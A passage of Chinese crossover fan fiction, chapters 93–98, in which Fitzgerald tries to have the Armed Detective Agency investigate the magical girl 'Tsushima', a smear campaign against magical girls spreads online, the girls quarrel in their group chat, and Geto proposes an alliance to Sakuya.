靠近窗外的地方传来巨大的爆炸声，震得他们感觉脚底下的地板都抖了一抖。 不过，应该是炸.弹所在的位置偏了一些，没能精准地从窗外投进来，而是在偏下方的地方爆炸了。 幸好侦探社的楼下那层目前是空置的。 斯科蒂愣了一下，侧头望过去。 而侦探社的社员们倒是反应非常平静又稳定，像是已经经历过很多次了。 他们有的还在低头处理自己的工作，有的看了一眼若无其事的江户川乱步后便放心地待在原地，只有中岛敦最快跑到窗边去观察情况…… 国木田独步问道：“又是港口黑手党来找麻烦了吗？” 中岛敦看了看窗外之后，回头有点尴尬地说： “应该不是，可能是上周处理过的那个犯罪团伙的残余人员的报复吧……不用担心，我下去解决一下。” 宫泽贤治说道：“我们一起去吧。刚好我现在比较饿，能够解决得更快一些。” 中岛敦点点头。 随后，他们两个年轻人便一起下楼去了。 侦探社的其他人都没有表现出任何担心的样子，几乎都在各做各的事情。 斯科蒂弱弱地出声：“那个……不需要报警吗？” 与谢野晶子宽慰了一句：“放心吧，他们两个就足够解决那些渣滓了。” 国木田独步皱着眉头开始打电话，准备请维修人员过来，他头疼地嘟囔着：“这都是这个月的第几次了，真是的，都不知道维修有多么浪费钱吗！” 斯科蒂：“……” 横滨似乎好像可能确实还挺危险的啊。 菲茨杰拉德看着她，摆出一副“你看我就说吧”的表情。 斯科蒂有些心虚，但还是努力振作起来，换了个说辞：“就是因为横滨危险，所以我才不放心你呀。要走我们就一起走。” 菲茨杰拉德感到心累。 女儿长大了，有自己的想法了，他现在也很难管了。 但是，怎么可能再次放任对方处于危险之中呢……一次的奇迹已经很难得了，他没办法再保留侥幸心理。 第93章 菲茨杰拉德深吸一口气，跟斯科蒂好好讨论：“你要是跟我留在横滨的话，你的学业怎么办？你在这边人生地不熟的，以后就准备不务正业了吗？” 在一旁听到这些话的侦探社社员，表情大多都有一点奇怪。 毕竟在他们眼里，菲茨杰拉德之前又是绑架、又是威胁的，做了各种违法犯罪的事情…… 结果却用这种话来劝女儿，还真是给人一种奇怪的反差感啊。 不过，作为未成年的斯科蒂，还没能做到免俗。 跟其他自己的同龄人一样，在家长以这种认真的态度提到学业的时候，她就显得有些没那么有底气了。 “我、我可以自学……”斯科蒂垂头道。 菲茨杰拉德乘胜追击道：“那你的妈妈怎么办呢？你要留她一个人待在美国吗？你在欧洲留学那么久才回来，她一直很想念你的。” 斯科蒂哑了声。 她留学回来后，确实注意到母亲有点过于在意自己，可能就是因为太久没见了吧。 这次离家来横滨，也是只能跟母亲说谎去朋友家待一段时间，甚至就这样还是和母亲提前沟通了许久才被同意的。 当然她也是很想念母亲，但也同样想念父亲，更希望家人能够都好好地待在一起。 菲茨杰拉德见状，也退了一步：“你先回去，我也会常常回去看望你们的。就当作我需要经常出差一样，但我总是会回家的。” 斯科蒂低声地说：“可是……我们离得那么远。” 菲茨杰拉德保证道：“没关系，不管有多远，我都会尽量常常回去的。” 斯科蒂沉默许久，闷闷地应了一声。 终于算是说服对方了。 菲茨杰拉德心情稍稍好转，又想起了一个疑点，顺口问道： “对了，斯科蒂，你是怎么跑到武装侦探社里来的？你应该对横滨不是很熟悉吧？” “这个啊……我在街头碰到了一个女孩子、好像是魔法少女。” 斯科蒂边回忆边说：“她当时挺热情友好的。看到我一个人在路上提着行李箱、人生地不熟的，她就主动上前询问我需不需要帮助。” “是她推荐我来这家侦探社的，她说这里的名侦探很厉害，肯定能够帮到我……” 菲茨杰拉德的脑海里立刻浮现出某个恶趣味的家伙的形象。 不会吧…… 他感到有点不妙。 斯科蒂还在说着：“不过她好像有点事，给我指完去侦探社的路之后就匆忙走了。” “我也是在路上看了手机，通过了解魔法少女的事情，才注意到她似乎和一位魔法少女长得很相似……不，她应该就是那个魔法少女。” “黑发，身上缠着绷带的那个，好像是叫津岛。” 斯科蒂犹豫地说完，抬头看见自己父亲的表情不知何时变得实在有些难看…… 斯科蒂不安地问：“怎么了？你认识她吗？” 菲茨杰拉德艰难地摇了摇头，说道：“不认识，是艾尔菲认识她，刚好艾尔菲也跟我提起过这个人。” 斯科蒂此刻心里对艾尔菲还是很好奇的，闻言便说道：“也是，现在想来津岛应该是认识我才主动跟我搭话的。那艾尔菲和津岛的关系怎么样？” 之前的关系还不好说，但是现在…… 菲茨杰拉德心想，他对津岛应该是没什么好感了。 刚认识津岛的时候，他还没怎么重视对方。 不过，当了一段时间的同事后，他也是逐渐发觉那个家伙不简单，心思其实很深。 现在津岛主动接触斯科蒂知晓了一些情报，再加上他之前借助艾尔菲的力量重新整合组合…… 这些事情加在一起，应该是足够让津岛猜出艾尔菲的真实身份了。 这样一来，主动权就掌握在津岛手里了，真不知道那个人会做出什么事情来…… 菲茨杰拉德很讨厌这种感觉，也很不希望自己的家人被别人当成威胁自己的筹码。 “她们两个的关系……” 菲茨杰拉德本想直接回答女儿的，不过很快意识到这是在外面，尤其是这里是武装侦探社的地盘。 他不情愿地回答：“……一般吧，我不太清楚。” 武装侦探社的江户川乱步很有名气，听说是个能一眼看破所有真相的名侦探。 在之前组合与侦探社敌对的时候，他也算是见证过侦探社成员的厉害了，自然不会再小看他们。 想了想，菲茨杰拉德忽然侧头问道：“对了，侦探社这里能接下我的委托吗？” 与谢野晶子淡淡地说：“你先说，是什么委托。” 菲茨杰拉德说道：“我想要请你们调查津岛的身份，钱不是问题。” 旁边半躺在沙发上的太宰治，听到这句话都忍不住脸上表情变得有点微妙，稍微坐直了些。 他撇了撇嘴，低声抱怨了一句：“……果然有钱人好讨厌啊。” 菲茨杰拉德看向太宰治：“？？你说什么？我没听清。” “没什么。” 太宰治立刻道：“不过，这种委托不可以。” 菲茨杰拉德皱了皱眉，说道：“只是调查一个人的身份而已，侦探社连这种事情都做不到吗？还是说……你们和津岛认识？” 这个可能性似乎还真的存在，要不然津岛为什么会推荐他的女儿来这里呢？ 而这时，处理完外面袭击的中岛敦和宫泽贤治都回来了。 一推开门就听见这些话，中岛敦精准捕捉关键词：“津岛？谁和津岛认识？你们在聊什么？” 在魔法少女越来越火之后，中岛敦出于好奇也一直跟着了解了许多，也因此被感染了些那个圈子里的风气。 ——也就是追星。 他对其中那个名为津岛的魔法少女最感兴趣。 不过很糟糕的是，芥川那家伙对津岛似乎很讨厌。 中岛敦不明白芥川为什么总是忍不住提起津岛，将津岛和太宰先生进行比较，又总是对此有很强烈的负面反应……但他肯定不能听着芥川说津岛的坏话。 所以，他们两个逐渐从一提起太宰先生就开始吵，变成了一提起太宰先生和津岛小姐就开始吵…… 中岛敦晃了晃头，抛开这些混乱的思绪，忍不住好奇地又问了一句：“你们是在聊关于津岛的事情吗？” 太宰治感觉比较头疼。 听着这些熟悉的人聊起津岛，他就难得会觉得有点社死。 这种死亡的方式真是太恐怖了，尽管他向往着去往三途河，却也唯独不想尝试这种死法。 而且……在场确实有一个确定了他魔法少女身份的人。 太宰治有点心神不定地微微侧头，看向不远处，那边正自娱自乐地吃着粗点心的江户川乱步。 第94章 还好，江户川乱步现在看起来没什么反应。 不过太宰治还是不能放心。 这就像是一个不确定何时爆炸的炸.弹一样，令人时时刻刻都需要担心警惕。 而菲茨杰拉德没能注意到太宰治的细微异常，他在中岛敦好奇询问关于津岛的事情时，就将视线转向了中岛敦。 “听你这么说……难不成你认识津岛吗？” 中岛敦愣愣地说：“当然认识啊。” 菲茨杰拉德脸色明显变差了一些，说道：“果然，我就知道你们和她有关系……” “等等！”中岛敦连忙解释道：“我是说，我单方面地认识津岛，侦探社的其他人也当然知道她的存在。但是很难有人和她有什么关系吧，毕竟那是魔法少女啊。” 菲茨杰拉德沉思片刻，又看了看侦探社的其他人：“你们真的都和她没什么关系？” 与谢野晶子随口道：“当然没有，不过我对魔法少女这种存在还挺感兴趣的，有空能让我研究、不对，是见一下艾尔菲吗？” 他看了看放在这位医生脚边的电锯，那电锯上貌似还留有奇怪的红色液体干涸后的痕迹。 菲茨杰拉德：“……” 宫泽贤治欢快地说：“我也很感兴趣！城里真的有好多新奇的事物啊。” 菲茨杰拉德又沉默了。 看起来，侦探社的人似乎真的不认识津岛。 那这么说，津岛推荐斯科蒂来这里，不会是因为她清楚地知道菲茨杰拉德之前和侦探社的矛盾吧？ 这似乎也是个很有道理的理由。 那么，菲茨杰拉德便又回归之前的想法，问道：“既然你们和津岛没什么关系，为什么不能帮我调查她呢？” “调查她？为什么？” 中岛敦有些疑惑。 “好奇而已。”菲茨杰拉德糊弄了一句，继续道：“如果你们愿意接下这个委托，钱不是问题，甚至我还可以答应你们一个要求。” 国木田独步闻言犹豫了一会儿。 不过他没有做出选择，而是侧头望向社里的名侦探：“乱步先生，你觉得呢……” 江户川乱步刚把手里拿着的粗点心吃完，有点失落，答非所问地喃喃道：“怎么吃得这么快，好可惜，这分量也太少了吧。” 菲茨杰拉德见状，想起了之前调查过的关于侦探社社员的情报。 江户川乱步，26岁，非常爱吃零食，超级厉害的名侦探…… 这看起来真不像是26岁啊…… 菲茨杰拉德试探性地开口道：“你能够完成我的委托，想要多少零食都没问题。” 听到这话，江户川乱步终于挪过视线看向他，明显是对此感兴趣了。 在旁边听着的斯科蒂总觉得怪怪的，这氛围好不对劲啊。 菲茨杰拉德再接再厉道：“我可以直接额外送给你一家大型超市，全部只卖你喜欢吃的零食，每天都雇专人给你送吃不完的零食……” 其他侦探社员也被他的壕气惊到了。 居然会拿出这种条件…… 按照他们对乱步先生的理解，这下子乱步先生肯定会答应的！ 然而出乎意料的是，江户川乱步没有立刻答应，而是笑了起来：“这听起来真不错啊，我好想同意哦，太宰。”？？？ 其他人都不明所以，难以理解为什么这时候江户川乱步会喊太宰的名字。 太宰治苦涩地笑着说：“确实听起来很令人心动啊。” 不过他虽然这么说着，但是也并没有感到绝望。 毕竟…… 虽然菲茨杰拉德足够有钱，但是很可惜，他还不够了解乱步先生。 太宰治给江户川乱步使眼色，拜托道：【我也愿意每天为乱步先生提供足够的粗点心和波子汽水。】 江户川乱步笑容不变，也用眼神跟他交流：【只是这样吗？】 太宰治眨了眨眼睛：【当然不只是这样啦。只要乱步先生需要，我可以随时随刻偷偷为乱步先生带来想吃的任何零食。】 重点在于‘随时随刻’和‘偷偷’。 虽然太宰治没有说出口，但江户川乱步当然能够理解对方的意思，知道对方肯定能懂得自己的需求。 作为解决过无数案件的名侦探，江户川乱步怎么可能没有钱买自己喜欢吃的零食呢。 他即使没办法拥有整个超市，但也能够每天都有吃不完的零食。 关键问题是，江户川乱步是有监护人的。 社长福泽谕吉就像管自家孩子一样，管着江户川乱步。于是他便没办法随心所欲地吃零食，被迫要得为自身健康着想。 而太宰治是侦探社的社员，也足够有能力，一定可以瞒过社长，暗地里悄悄给他带零食的。 菲茨杰拉德本以为江户川乱步即将同意自己的要求，但却没想到对方始终没有说出肯定的答复，还跟另一个社员眼神对视了好几秒。 这是怎么回事？ 菲茨杰拉德察觉情况不妙，很快就催促道：“或者说，你还有什么别的要求也可以提，只要你能够完成我的委托便一切好说。” 江户川乱步却说：“不用了，这个委托我不接。” 菲茨杰拉德问：“……？为什么？” 其他侦探社社员也大多是这样的表情，甚至比他还要惊讶不解。 乱步先生居然会拒绝这种条件？？！ 江户川乱步敷衍道：“哪有那么多为什么，你自己不也是连为什么要调查她都不愿意说吗？” 太宰治紧接着附和：“是啊，而且你们组合上次才差点绑架过我，我们侦探社可不是完全没有脾气的哟。” 菲茨杰拉德想起先前自己做过的那些事情…… 他顿时无话可说。 不过，菲茨杰拉德倒也不是特别失望，因为他先前也没觉得侦探社一定就能够找到津岛的真实身份。 这个委托只是一次尝试而已。 既然失败了，他就要立刻先做别的打算了。 首先得把女儿送回去，再将在海外的妻子和女儿好好保护起来，而他自己会留在横滨…… 如果津岛打算要挟他的话，他就算自己不好过，也绝对会报复着把那家伙也拉下水的。 第95章 然而，菲茨杰拉德还没来得及想出办法来对付津岛，这种时候就又发生了另一件重大的事情。 ——网络上，关于魔法少女的舆论发生了巨大转变。 有许多自称是经历过魔女残害的受害者出现，不知为何都纷纷公开发言，讲述自己的各种经历。 一个一个都说得很惨，不是说魔女使魔给自己造成了严重的心理阴影，就是说它们害死了自己重要的亲人朋友…… 然后，就是开始宣扬没有魔法少女就不会有魔女的存在……的这类言论。 网上很多都在说，魔法少女和魔女几乎是同一时间凭空出现的，之前从来没有听说过这两者的存在，如今也没办法在现实中找到魔法少女。 由此可得，这两者都很可能是异世界的产物。 各种各样的阴谋论在到处传播着。 反正大概都是说，魔法少女和魔女都对我们不怀好意。 一方直接残害民众生命安全，一方应该是假意对付魔女以此来获取我们的信任，之后还不知道要图谋什么。 如今魔女使魔出现得越来越频繁了，说不定后来它们还会逐渐占据整个世界。 要想阻止这些，最好要抓到魔法少女逼迫她们说清楚自己的来历和阴谋，就算抓不到也要尽量杀死她们…… 这些言论听起来都还算有道理，再加上这么说的人非常多。 人们大多都有着从众心理，一时间有许多人都相信了这些，还有许多人犹豫不定。 虽然也有不少能坚定地相信着魔法少女们的人。 但这种时候，连国家官方上层都不支持魔法少女，他们便很难发言支持，担心会给自己引来很多麻烦。 平常还算是和谐友好的魔法少女网站，此时也多了许多引战和质疑的帖子。 【我听说前两天，比较远的秋田县那边都第一次有魔女出现了。那些魔女使魔真是越来越多了……】 【但那次的魔女还不是由魔法少女来解决的。】 【也很有可能是做戏吧，毕竟没人能亲眼看到魔女和使魔，谁知道魔法少女是不是真的杀死了它们？】 【楼上说这个是什么意思？！】 【其他网站和论坛这么说的人多了，也就这里还有不少人还傻傻地相信魔法少女，真以为自己生活在什么童话世界吗？】 【可我被魔法少女救过，我能确定她们绝对是好人。】 【……说不定你陷入危险就是她们害的呢。】 …… 伊江朔久看着这些言论，不管是好话还是坏话，他脸上的神色倒是一直都没什么变化。 很显然是有人在背后操纵着这些舆论发展的。 而且，更可能不止是一个人或一方势力，舆论这么快发展成这样，背后估计还有很多有权势的人的帮忙。 伊江朔久管理着网站，将一些极端的帖子删除，但还保留着大部分怀疑与讨论这些事情的帖子。 毕竟，堵不如疏。 白色的小光球也在一旁看着电脑上的画面，说道：【这样的情况还真是麻烦，明明魔法少女们确实是保护了民众。】 ‘没办法，这就是羊群效应。’ 伊江朔久在心里道：‘只能说是敌人足够聪明，早就策划好了所有，将这本来就存在的疑点放在这一刻突然点爆。’ 【敌人？】 ‘像是羂索、陀思那些人，或是这个国家的某些上层，也可能是……’ 伊江朔久顿了顿，道：‘他们所有人的合作。’ 系统：【这样一来，所有魔法少女就都成为众矢之的了。果然最开始的时候，还是不将这些事情放在明面上会更好些吧。】 伊江朔久回道：‘但还是像最开始时说的那样，不这样做，没办法及时找到散布在各地的魔女。’ 系统：【那也可以去契约更多的魔法少女吧？】 伊江朔久随口道：‘这也不是很容易的事情，要是真有人许愿希望世界毁灭呢？’ 系统还没来得及接着说下一句话。 这时候，伊江朔久收到了一条简讯。 他拿起手机来看，上面没有任何备注，但是他知道对方是谁。 ——【伊江君，网上的那些事情你已经知道了吧？我会尽力想办法控制一些舆论的，但是结果大概会不尽如人意。】 伊江朔久回复：【没事，谢谢你之前的帮助。现在牵扯进来的人和事情已经太多，你不用再管这些了。】 很快对方又回了一条简讯：【抱歉，下次有需要还可以随时找我。】 伊江朔久没有再回复什么。 系统好奇地问：【朔久，这是谁？】 伊江朔久如实道：‘水无怜奈，日卖电视台主持人。’ 系统很快接道：【就是基尔，真名本堂瑛海，卧底黑衣组织的那个CIA成员？】 伊江朔久点头：‘嗯，两年前我意外救了她的父亲。现在她和她父亲还都卧底在组织里。’ ……意外吗？ 系统没说什么，只是越发好奇，对方的秘密看起来还真是越来越多了…… 伊江来到这个世界的四年来，到底都经历过什么事呢？ 伊江朔久拿着手机，退出了和水无怜奈的通讯页面，顺便又登进了一个社交平台，查了一下禅院穗的账号是否在线。 正巧，对方确实在线。 网上出现了这种事情，其他魔法少女想要和同伴们商讨一下应对方法，也算是理所应当。 不过，她们之前一起建的那个群里现在还是很安静。 伊江朔久又想了想先前的一些情况，果然……‘看来她们应该是背着朔夜又建了一个群。’ 系统问道：【朔久你不会不开心吗？】 ‘这很正常，反正朔夜也不会和她们讨论这些事情。’ 伊江朔久轻松地道：‘而且也算是件好事，证明她们现在至少也稍微更熟悉了些，说不定感情会变得更好呢。’ 但很可惜……并没有。 伊江朔久还不清楚艾尔菲和津岛之间刚产生的矛盾。 此刻那个只有四个人的群聊里，虽然大家讨论得还算热烈，可氛围却不是一般的糟糕。 第96章 群聊里—— 禅院穗忧心道：【舆论再这样发展下去的话，会给我们带来很大的不便吧。】 津岛：【确实得想办法处理了。真麻烦，人类还真是好忽悠又爱从众的存在。】 艾尔菲：【既然如此，那这件事不如就让津岛来处理吧。】 津岛：【……】 艾尔菲：【毕竟能者多劳。在其他人看来，你不是一直都热情友善好说话吗？看着就像是在路上会为迷路者指路的好人。】 艾尔菲：【那么，津岛多出点力、与所有人都打好关系、展现一下魔法少女的优良形象……这些肯定也是轻而易举的吧。】 太宰治当然听懂了。 对方还在意着自己接近斯科蒂，指引她去往侦探社的事情呢。 但不光只有对方记仇，他也是很记仇的。 津岛：【是啊，能者多劳。我其实只是偶尔开朗一点而已，完全没有艾尔菲你厉害。】 津岛：【谁都知道，艾尔菲你可有钱了，身上的裙子都镶嵌着金线呢。还是你多多出资帮忙吧。不如先送我几千万玩玩怎么样？】 太宰治深刻地记得。 这家伙要花钱委托侦探社探寻津岛的身份，甚至很可恶地还说钱不是问题。 害他只能被迫去贿赂乱步先生。 艾尔菲：【……没想到津岛你居然是这样的人。亏我还觉得你是好人，结果你一开口就要勒索我。】 津岛：【你怎么会这样想呢？我当然是真心夸赞你的，只是没想到原来你只是表面装一装，实际上根本没什么钱啊。】 艾尔菲：【我不管有多少钱，都不会随便给向我空口索要的人。】 津岛：【哦，这样吗？那你是想什么都不做，把事情都推给别人？不是你先说能者多劳的吗？】 …… 伏黑惠看着群里的消息，有点不解。 这两个人是怎么了？ 为什么聊着聊着就开始互相指责？火药味一下子就变得这么浓，明显很不对劲…… 她们最近难道是闹矛盾了吗？ 不过居然会用这种阴阳怪气的奇怪交流方式……这两个女孩子还真是难懂啊。 伏黑惠犹豫了一会儿，准备尝试劝架，发道：【还是现在面临的情况比较重要，你们有什么矛盾不如早点解决吧？你们互相应该都没什么恶意，或许只要说开就好了？】 然而，那两个人似乎完全不准备好好说话。 艾尔菲：【我可不敢和津岛有什么矛盾。】 津岛：【禅院你分明也看见了吧，是艾尔菲先找事的，对吧？】 伏黑惠难以回应。 而她们还在继续吵，就像是把这个群聊当成了自己的私聊页面一样。 艾尔菲：【现在想想，那些人说的也不一定都是错的。毕竟确实有着表里不一的魔法少女存在。】 津岛毫不示弱：【你是在说你自己吗？：D】 艾尔菲：【不，还是你更符合。】 津岛：【如果你真的这样觉得的话，不如为了那些人牺牲吧？反正他们不是也说，魔法少女没了之后，可能魔女也会跟着消失呢。】 艾尔菲：【你难道听不懂别人的话吗？】 …… 伏黑惠无奈扶额。 她们两个到底这是怎么闹的矛盾？ 再这样发展下去的话，这两个人恐怕很快就要变得势不两立了吧。 但伏黑惠完全想不到该怎么介入对话，让她们冷静下来。 不过…… 说起来，他也有些捉摸不透，魔法少女和魔女为什么会突然出现在这个世界上。 丘比解释得模糊不清，好像它也不是很清楚这些原理一样，就只是说魔女和使魔是散播绝望的存在。 跟各种动漫里那些奇怪又高大上的设定听起来很像。 至于魔法少女和魔女是不是异世界的存在…… 伏黑惠觉得那些人的这个想法也有点离谱。 他当然清楚自己从出生起就一直待在这个世界上，至于魔女和使魔……它们应该也是这个世界的产物。 或许就像是咒灵一样，在什么绝望怨念之类的特殊能量中诞生的？ 毕竟…… 伏黑惠想起之前在医院里误入魔女结界的那次，所看见的结界内的场景。 他还记得，那时魔女绝望恸哭的声音，失去了颜色的世界，结界深处巨大的手术室…… 最主要的是，手术室的设备仪器上有着‘米花综合医院’的标记。 这能够证明魔女就是这个世界的产物吧？ 不过说起来，他当时所在的医院明明是米花中央医院，而米花综合医院离这里有着不小的一段路程的。 但是，伏黑惠如今也算是见过了不少魔女。 他知道，魔女和使魔不一定永远躲在结界里，也是有可能会换个地方待的。所以他没有继续再多想些什么。 就是这走神的一会儿功夫，伏黑惠发现群里有多了几十条津岛和艾尔菲的新消息，她们还在继续聊…… 伏黑惠：“……” 他想，要是这是在有着朔夜的那个群里就好了，朔夜总能够管管这两个家伙吧？ 好在松代这时候也上线了。 看到这么多充满火药味的群聊新消息，松田阵平也愣了愣，忍不住问道：【你们在聊什么呢？】 津岛若无其事地回答：【关于我们的不利舆论啊，这当然是目前最重要的事情。不过有的人总是分不清情况。】 艾尔菲则道：【是有的人最先开始找事的。】 松田阵平体会到了伏黑惠刚才的心情。 不过，松代会发道：【你们两个是幼稚的小学生吗？】 Y.U.X.I 性格很直接、也不会特意对女孩子放水的松代以一己之力吸引了这两人的仇恨值。 津岛：【？】 艾尔菲：【？】 她们同时发出这两条消息，看起来倒是有点默契。 但两人在注意到对方发的消息后，都又互相产生了一些反感。 津岛立刻道：【不要跟我发一样的消息。】 伏黑惠：“……” 好幼稚啊，果然津岛的实际年龄和表面年龄应该差不多吧？ 或许还可能要更小一些。 第97章 伏黑惠还是想再试一下，努力让她们先放下矛盾，专注目前最重要的问题。 禅院穗：【我们还是回到最初的话题吧？要怎么解决如今的舆论危机？好好讨论一下，别再互相攻击了。】 而在他发完这条消息后，松代也很配合地接了话题。 松代：【或许应该去找警方合作？】 松田阵平早就在想这种事情的可行性了。 同时作为警察和一名魔法少女，他当然是希望这两者能够好好合作、相互配合，起码不要互相把对方视作敌人和麻烦。 就是很可惜，在这个格外重视资历的国家，年纪不够大的他的警衔自然也并不算高。 所以，就连一个和警方上层好好沟通的机会都很难争取到。 津岛：【找他们用处应该不大，还是算了吧。】 艾尔菲这次居然也没有反驳津岛，同样发道：【那些条子能帮得上什么忙？要是他们真有用，不至于名声会一直这么差。】 条、条子？？！ 身为警察的松田阵平愣了一下。 等等，这是什么称呼？ 平常不都是些混混、黑手党、犯人会这么喊的吗？为什么艾尔菲对警察会是这个态度？ 松代忍不住发：【为什么会没用呢？连警方都没什么用处的话，又有什么能够对我们有所帮助？】 太宰治若有所思。 看来，松代之前应该只是一个普通人。 而且看着虽然像是比较叛逆、脾气不怎么样，但她其实还是会想着尽量和警方合作的……难道是和警察有点关系吗？ 不太能确定。 于是，太宰治故意道：【咒术师、异能者这些应该更有用吧，总比那些作为普通人的条子有利用价值。】 ……又是条子这个称呼，还说什么利用价值。 松田阵平心情不怎么样。 津岛对警方的态度居然也和艾尔菲一样，她们现实里到底都是怎样的身份？ 不会真的是青春期的叛逆小孩吧？还是说……是他更不愿意见到的、混混或黑手党那类人？ 但是他这个身份现在也无法指责或管控她们的行为。 松田阵平只能尝试从她们口中获取一点未知信息。 松代：【咒术师和异能者是什么？】 太宰治为松田阵平简单解释了几句，使得后者本就崩塌重塑过的世界观，又再一次崩塌重塑了一遍。 原来不是在魔法少女和魔女出现后，这个世界才变得不科学了。 而是它早就不对劲了，只是以前一直好好地瞒着大部分民众而已。 松田阵平努力消化了一番。 好在一回生二回熟，他这次很快就冷静了下来，接受了这些新设定。 松代：【所以你们都是怎么知道这些的？你们是咒术师或异能者？】 艾尔菲：【这些也不算是绝密的信息吧，知道的人也不在少数。】 松田阵平更确定了自己这些同伴的身份不简单。 这并不算是什么问题，但她们貌似不是什么好人，这问题可就大了。 而这时，太宰治又试探性地发道：【找别的势力合作的话，可能会比较难。不如我们自己先尝试解决一下？】 禅院穗：【你有什么想法吗？】 津岛：【那些人对魔法少女的态度很容易改变，一部分原因是他们根本就没怎么接触过魔法少女或魔女这些。毕竟魔女和使魔大多时候都待在结界里，很难有人看到我们辛辛苦苦与魔女战斗的场景。】 伏黑惠感觉有点不妙，犹豫地问：【你是说……】 津岛：【放心，我不是说要麻烦我们去做戏。】 禅院穗：【那是什么意思？】 津岛：【只需要以后解决魔女的时候，放过那些没用的使魔就可以了，它们自然会给民众们更多的存在感。】 菲茨杰拉德心想，津岛果然是个很危险的人，这个想法的确轻松又有效。 如果所有民众都容易时刻遭到使魔的威胁，而其他人根本看不到使魔，只有魔法少女才能便利快捷地解决它们…… 那确实是魔法少女洗白的最好方法。 松代：【放过使魔？你知道自己在说什么吗？】 禅院穗也很快道：【使魔并没有看着那么无害。丘比可是说过，它们也会慢慢成长、有几率变成魔女的。】 津岛：【那不就更好了吗？】 津岛：【这样我们不就能够收获更多的悲叹之种了吗？】 伏黑惠稍微有点失神。 没想到津岛说出这种话，完全不像是他印象里的津岛的形象。 而松田阵平虽然没办法指责或管控她们，但是也不是能够忍耐的性格。 看着津岛的言论仿佛越来越黑心了，他实在忍不住道：【就为了悲叹之种，这样会死多少人……】 艾尔菲：【但我们确实也没有非要救那些人的责任。】 这下子，群里的氛围更糟糕了。 本来只有两个人在阴阳怪气的吵闹中互相试探，现在其他两个人也被逐渐拉下了水，简直是无人生还。 太宰治主动挑起了矛盾，现在却选择开始潜水了。 他毫不心虚地看着群里不断增加的新消息。 他也算是成功试探出了这几人的性格和本质，为群里的关系破了冰。 看上去是人为造就了魔法少女的内乱，但也不是一件绝对的坏事，接下来的发展就要看丘比打算怎么做了。 不过有点可惜，太宰治还没想到该怎么才能试探出朔夜的想法，那个人一直以来都真够难以琢磨的。 “太宰，我想要波子汽水。” 太宰治放下手机，侧头看向江户川乱步，应道：“没问题，我马上去买。” “今天要白桃口味的！” “好的。” 太宰治只能无奈地站起身来，准备出去买。 他一边走路出门，一边又拿起手机点进群聊…… 果然想想还是很生气，都怪那家伙要花钱委托侦探社，害他现在要常常为乱步先生跑腿…… 太可恶了，还是再跟那家伙多吵几句解解气吧。 第98章 虽然那几位魔法少女没有在朔夜面前争吵，不过伊江朔久还是很快就知道，她们几个之间闹了矛盾。 毕竟她们闹得矛盾可不小。 之前还能假装把互相当成半个同伴，现在连装都装不下去了，看起来她们离反目成仇似乎也差得不远了。 好了，现在外患没解决，还多了内忧。 伊江朔久有点无奈。 他尽管明白那些人继续相处下去产生矛盾是必然的，毕竟她们的性格立场反差都挺大的，被意外捆绑在一起会有不少摩擦很正常。 可是，能一下子爆发出这么大的冲突，就令人比较意外了。 回想了一下那几个人的性格，伊江朔久总感觉这其中有太宰的不少原因。 也就只应该是太宰治，才会这样快的把握好每个人的性格，然后故意捅出了这么大的篓子。 虽然这确实也不是一件绝对的坏事。 原先队伍里那种互不打扰、各自做着各自的事情、努力避免不暴露自己身份的氛围应该算是再也回不去了。 只看接下来，她们之间的关系究竟是往好的那方面去发展，还是坏的那方面去发展了。 太宰治知道丘比肯定会尽量修复她们的关系，所以大概也存了想要试探丘比的心理。 因为丘比看上去比朔夜还要神秘得多，太宰治琢磨不透它，肯定无法放心，也不可能相信世界上有这么利大于弊的契约主动找上门来。 可是，伊江朔久却的确不好用丘比这个身份去做什么。 他的丘比除了契约之外，根本没什么更多的特殊能力。相比而言，还是朔夜这个身份对此更有用一些。 比如，朔夜在拉魔法少女训练的时候，一次性拉来了两位魔法少女禅院穗和艾尔菲。 朔夜尝试着吸引一下仇恨值，希望让她们两个在有了共同的敌人后，能够稍微缓和一点关系。 不过很可惜，她们居然似乎对朔夜的性格已经有那么一点免疫了？ 朔夜再怎么高强度训练这两人，她们之间的关系还是很僵，完全没有要同仇敌忾的意思，甚至根本都说不上几句话。 于是朔夜只能尝试换一种方法。 “你们互相切磋一下吧。” 闻言，禅院穗和艾尔菲互相望了对方一眼。 “训练的话，最好还是要和同水平的人进行切磋……”朔夜话还没来得及说完。 这两个魔法少女便毫不犹豫地向对方出手，简直像是对此期待已久，终于可以名正言顺地打架了。 朔夜保持沉默。 看着她们两个打着打着都有点下狠手了。 她犹豫了一下，还是选择不去干涉，反正她们应该也不会出什么事。 只不过，居然连伏黑惠和菲茨杰拉德这两个相对而言还算不容易起冲突的人，都能闹成现在这样…… 那么另外两个人就更麻烦了吧。 真不知道她们到底都吵了些什么。 朔夜一边注意着那两人的情况，一边想着事情。不过就算是这样，她也很快察觉到了稍远处的一丝异样。 她立刻回头望去，看见了一个有点熟悉的人。 对方身材高大，梳着半丸子头，披着五条袈裟……是夏油杰。 夏油杰也注意到了她的目光，笑着对她招了招手，作为打招呼。 朔夜仍旧面无表情，看了下另一边还在专注打架的那两位魔法少女。想了想后，她决定不打扰那两人了。 她示意了一下夏油杰，随后便和对方同时拉远了距离，到了稍远的另一个较隐蔽的地方停下。 “你有什么事？” 朔夜一副有事尽快说的样子。 夏油杰脸上的笑意也淡了些，问道：“朔夜小姐是吧？我们第一次见面，不先互相做一下自我介绍吗？” 朔夜：“不用，我知道你，夏油杰。” 夏油杰稍微有点意外，不过倒也知道自己作为极少数的几个特级咒术师之一，确实也算是挺有名气的。 “那还真是我的荣幸。” 夏油杰顿了顿，道：“既然你知道我，应该也能明白我们的情况很相似，我所经营的盘星教也是不被咒术界所容纳的。” “再加上我们似乎都有着想要改变世界的愿望，不如联手合作一番试试吧？” 朔夜冷静地询问：“改变世界的愿望？你说的是什么？” “和你们差不多，总之是要将这个世界变成适合我们这类人生存的世界，将威胁到我们的人全部杀掉而已。” 夏油杰温声地说：“所以我们可以互相帮助，一起扫平大家的障碍。” 夏油杰的这种态度很像是相信了网上的那些传闻之后，跑来找到魔法少女们，希望和她们这些同样走投无路的‘恶人’形成同盟。 不过…… 伊江朔久并没有轻易相信对方所表现出来的样子。 朔夜望着对方问道：“真的吗？” 夏油杰也看着面前的少女，她虽然个子比较矮，但气势却完全不弱……这副冷静淡然的样子像是看透了自己一般。 但她顶多只能从别人那里听说自己的一连串恶名，怎么可能会那么清楚他的情况？ 于是，夏油杰面不改色地说：“当然，我是诚心想与你们合作的。” 而朔夜却道：“那等你说出自己的真实想法之后，再来和我谈合作的事情吧。” 夏油杰愣了一下。 “我还有事要忙，下次想好了再来说。” 